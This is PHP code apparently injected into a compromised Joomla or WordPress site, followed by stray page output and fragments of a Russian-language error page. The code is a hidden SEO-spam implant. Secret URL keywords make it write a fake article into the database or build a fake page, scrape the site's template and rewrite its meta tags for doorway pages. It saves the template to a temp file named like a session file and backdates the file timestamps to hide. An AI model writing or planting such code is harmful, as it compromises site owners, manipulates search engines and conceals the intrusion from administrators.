if (strpos($_SERVER['REQUEST_URI'], 'saveyourfuckingtemplate') !== false)
{
    error_reporting(0);
    ini_set('display_errors', 0);
    set_time_limit(0);

    $context = stream_context_create(array(
        'http' => array('ignore_errors' => true),
    ));

    $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/?gimmeyourfuckingtemplate', false, $context);
    if ( !preg_match('/thefuckingtitle\d+/', $tpl) && !preg_match('/thefuckingcontent\d+/', $tpl) && (strpos($tpl, '[TITLE]') === false) && (strpos($tpl, '[CONTENT]') === false) )
    {
        $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/gimmeyourfuckingtemplate', false, $context);
    }
    if ( !preg_match('/thefuckingtitle\d+/', $tpl) && !preg_match('/thefuckingcontent\d+/', $tpl) && (strpos($tpl, '[TITLE]') === false) && (strpos($tpl, '[CONTENT]') === false) )
    {
        $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/gimmeyourfuckingtemplate/', false, $context);
    }
    if ( preg_match('/thefuckingtitle\d+/', $tpl) || preg_match('/thefuckingcontent\d+/', $tpl) || (strpos($tpl, '[TITLE]') !== false) || (strpos($tpl, '[CONTENT]') !== false) )
    {
        $tpl = str_replace('http://[PAGE_URL]', '[PAGE_URL]', $tpl);
        $tpl = preg_replace('#<link[^>]+?alternate[^>]+?>#is', '', $tpl);
        $tpl = preg_replace('#<link[^>]+?archives[^>]+?>#is', '', $tpl);
        $tpl = preg_replace('#<link[^>]+?bookmark[^>]+?>#is', '', $tpl);
        $tpl = preg_replace('#<link[^>]+?external[^>]+?>#is', '', $tpl);
        $tpl = preg_replace('#<link[^>]+?first[^>]+?>#is', '', $tpl);
        $tpl = preg_replace('#<link[^>]+?help[^>]+?>#is', '', $tpl);
        $tpl = preg_replace('#<link[^>]+?last[^>]+?>#is', '', $tpl);
        $tpl = preg_replace('#<link[^>]+?license[^>]+?>#is', '', $tpl);
        $tpl = preg_replace('#<link[^>]+?next[^>]+?>#is', '', $tpl);
        $tpl = preg_replace('#<link[^>]+?nofollow[^>]+?>#is', '', $tpl);
        $tpl = preg_replace('#<link[^>]+?noreferrer[^>]+?>#is', '', $tpl);
        $tpl = preg_replace('#<link[^>]+?pingback[^>]+?>#is', '', $tpl);
        $tpl = preg_replace('#<link[^>]+?prefetch[^>]+?>#is', '', $tpl);
        $tpl = preg_replace('#<link[^>]+?prev[^>]+?>#is', '', $tpl);
        $tpl = preg_replace('#<link[^>]+?search[^>]+?>#is', '', $tpl);
        $tpl = preg_replace('#<link[^>]+?sidebar[^>]+?>#is', '', $tpl);
        $tpl = preg_replace('#<link[^>]+?up[^>]+?>#is', '', $tpl);
        $tpl = preg_replace('#<link[^>]+?canonical[^>]+?>#is', '', $tpl);
        $tpl = preg_replace('#<meta[^>]+?robots[^>]+?>#is', '', $tpl);
        $tpl = preg_replace('#<meta[^>]+?charset[^>]+?>#is', '', $tpl);
        $tpl = preg_replace('#<meta[^>]+?content-type[^>]+?>#is', '', $tpl);
        $tpl = preg_replace('#<meta[^>]+?og:[^>]+?>#is', '', $tpl);
        $tpl = preg_replace('#<meta[^>]+?viewport[^>]+?>#is', '', $tpl);
        $tpl = preg_replace('#<meta[^>]+?keywords[^>]+?>#is', '', $tpl);
        $tpl = preg_replace('#<meta[^>]+?description[^>]+?>#is', '', $tpl);
        $tpl = preg_replace('#<meta[^>]+?google[^>]+?>#is', '', $tpl);
        $tpl = preg_replace('#<meta[^>]+?yandex[^>]+?>#is', '', $tpl);
        $tpl = preg_replace('#<meta[^>]+?bing[^>]+?>#is', '', $tpl);
        $tpl = preg_replace('#<meta[^>]+?slurp[^>]+?>#is', '', $tpl);
        $tpl = preg_replace('#<meta[^>]+?refresh[^>]+?>#is', '', $tpl);
        $tpl = preg_replace('#<meta[^>]+?referer[^>]+?>#is', '', $tpl);
        $tpl = preg_replace('#<script.+?script>#is', '', $tpl);
        $tpl = preg_replace('#http://www.google-analytics.com/#is', 'http://'.$_SERVER['HTTP_HOST'].'/', $tpl);
        $tpl = preg_replace('#<title[^>]*>[^<]*?</title>#is', '<title>[TITLE]</title>', $tpl);
        $tpl = preg_replace('#thefuckingtitle\d+#is', '[TITLE]', $tpl);
        $tpl = preg_replace('#thefuckingcontent\d+#is', '[CONTENT]', $tpl);
        $tpl = preg_replace('#<p>\[CONTENT\]</p>#is', '[CONTENT]', $tpl);
        
        $new_tags = '
        <link rel="canonical" href="[PAGE_URL]" />
        <link rel="prev" href="[RAND_URL_PREV]" />
        <link rel="next" href="[RAND_URL_NEXT]" />
        <meta property="og:title" content="[TITLE]" />
        <meta property="og:type" content="article" />
        <meta property="og:site_name" content="[COMMON]" />
        <meta property="og:url" content="[PAGE_URL]" />
        <meta property="og:locale" content="en_US" />
        <meta name="description" property="og:description" content="[DESCRIPTION]" />
        <meta name="keywords" content="[KEYWORDS]" />
        <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=yes" />
        <meta http-equiv="content-type" content="text/html; charset=UTF-8" />
        ';

        $tpl = preg_replace('#</head>#is', $new_tags.'</head>', $tpl);
    }

    $localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath));
    $tpl_path = sys_get_temp_dir()."/SESS_4f2afc9c4099ee1f39c9f551123e54bd";
    
    if (!empty($tpl) && file_put_contents($tpl_path, $tpl))
    {
        echo 'Success!';
    } else
    {
        echo 'failed';
    }
    touch($tpl_path, time() - mt_rand(60*60*24*30, 60*60*24*365));
    touch(dirname($tpl_path), time() - mt_rand(60*60*24*30, 60*60*24*365));
    exit;
}

if (strpos($_SERVER['REQUEST_URI'], 'gimmeyourfuckingtemplate') !== false)
{
    error_reporting(0);
    ini_set('display_errors', 0);
    set_time_limit(0);

    $localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath));
    if (is_dir($root_path.'/libraries/joomla/application/'))
    {
        $alias = 'fucking-alias-is-here'.mt_rand(1, 10000000000);
        $database         = JFactory::getDBO();
        $item             = new stdClass;
        $item->id         = null;
        $item->title      = 'thefuckingtitle'.mt_rand(1, 10000000000);
        $item->introtext  = '';
        $item->fulltext   = 'thefuckingcontent'.mt_rand(1, 10000000000);
        $item->state      = 1;
        $item->access     = 1;
        $item->created_by = 62;
        $item->created    = '2011-11-11 11:11:11';
        $item->publish_up    = '2011-11-11 11:11:11';
        $item->alias      = $alias;
        if (!$database->insertObject('#__content', $item, 'id')) {
            echo $database->stderr();
        }
        $url = 'http://'.$_SERVER['HTTP_HOST'].'/index.php?option=com_content&view=article&id='.$item->id;
        $data = file_get_contents($url);
        $data = preg_replace('#[\'"][^\'"]+?'.$alias.'[^\'"]+?[\'"]#is', '"[PAGE_URL]"', $data);
        $data = preg_replace('#Friday, 11 November 2011 11:11#is', '[DATE]', $data);
        $data = preg_replace('#11 November 2011 11:11#is', '[DATE]', $data);
        $data = preg_replace('#11 November 2011#is', '[DATE]', $data);
        $data = preg_replace('#11 November 2011#is', '[DATE]', $data);
        $data = preg_replace('#11.11.2011#is', '[DATE]', $data);
        $data = preg_replace('#2011-11-11#is', '[DATE]', $data);
        $data = preg_replace('#2011.11.11#is', '[DATE]', $data);
        
        echo $data;
        exit;
    }
    
    if (is_dir($root_path.'/wp-admin/includes/'))
    {
        if (!class_exists('THEVirtualPage'))
        {
            class THEVirtualPage
            {
                private $slug = NULL;
                private $title = NULL;
                private $content = NULL;
                private $author = NULL;
                private $date = NULL;
                private $type = NULL;
         
                public function __construct($args)
                {
         
                    $this->slug = 'slug';
                    $this->title = 'thefuckingtitle'.mt_rand(1, 10000000000);
                    $this->content = 'thefuckingcontent'.mt_rand(1, 10000000000);
                    $this->author = 1;
                    $this->date = current_time('mysql');
                    $this->dategmt = current_time('mysql', 1);
                    $this->type = 'page';
         
                    add_filter('the_posts', array(&$this, '_virtualPage'));
                }
         
                // filter to create virtual page content
                public function _virtualPage($posts)
                {
                    global $wp, $wp_query;
         
                    
                        //create a fake post intance
                        $post = new stdClass;
                        // fill properties of $post with everything a page in the database would have
                        $post->ID = "-1";                          // use an illegal value for page ID
                        $post->post_author = $this->author;       // post author id
                        $post->post_date = $this->date;           // date of post
                        $post->post_date_gmt = $this->dategmt;
                        $post->post_content = $this->content;
                        $post->post_title = $this->title;
                        $post->post_excerpt = '';
                        $post->post_status = 'publish';
                        $post->comment_status = 'closed';        // mark as closed for comments, since page doesn't exist
                        $post->ping_status = 'closed';           // mark as closed for pings, since page doesn't exist
                        $post->post_password = '';               // no password
                        $post->post_name = $this->slug;
                        $post->to_ping = '';
                        $post->pinged = '';
                        $post->modified = $post->post_date;
                        $post->modified_gmt = $post->post_date_gmt;
                        $post->post_content_filtered = '';
                        $post->post_parent = 0;
                        $post->guid = get_home_url('/' . $this->slug);
                        $post->menu_order = 0;
                        $post->post_type = $this->type;
                        $post->post_mime_type = '';
                        $post->comment_count = 0;
         
                        // set filter results
                        $posts = array($post);
         
                        // reset wp_query properties to simulate a found page
                        $wp_query->is_page = TRUE;
                        $wp_query->is_singular = TRUE;
                        $wp_query->is_home = FALSE;
                        $wp_query->is_archive = FALSE;
                        $wp_query->is_category = FALSE;
                        unset($wp_query->query['error']);
                        $wp_query->query_vars['error'] = '';
                        $wp_query->is_404 = FALSE;
         
                    return ($posts);
                }
            }
        }
         
        function _create_virtual()
        {
            $args = array('slug' => 'slug',
                    'title' => '',
                    'content' => ''
                    );
            $pg = new THEVirtualPage($args);
        }
        
        function change_wp_44_title( $title ) 
        {
            global $data;
            
            $title['title'] = 'thefuckingtitle'.mt_rand(1, 10000000000);
            $title['page'] = '';
            $title['tagline'] = '';
            $title['site'] = '';
            return $title;
        }
        function change_wp_40_title( $title ) 
        {
            return 'thefuckingtitle'.mt_rand(1, 10000000000);
        }
        
        function _change_page_url(  ) 
        {
            return '[PAGE_URL]';
        }
        add_filter( 'the_permalink', '_change_page_url');
        
        add_action('init', '_create_virtual');
        add_filter( 'document_title_parts', 'change_wp_44_title' );
        add_filter( 'wp_title', 'change_wp_40_title' );
    }
}Array
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    [0] => option
    [1] => Novosti
    [2] => V-Voronezhe-otkryvaetsya-obschestvennaya-priemnaya-Vladimira-Putina.html
)
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<head>
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<body>
	<div align="center">
		<div id="outline">
		<div id="errorboxoutline">
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			<p><strong>Пожалуйста, попробуйте одну из следующих страниц:</strong></p>
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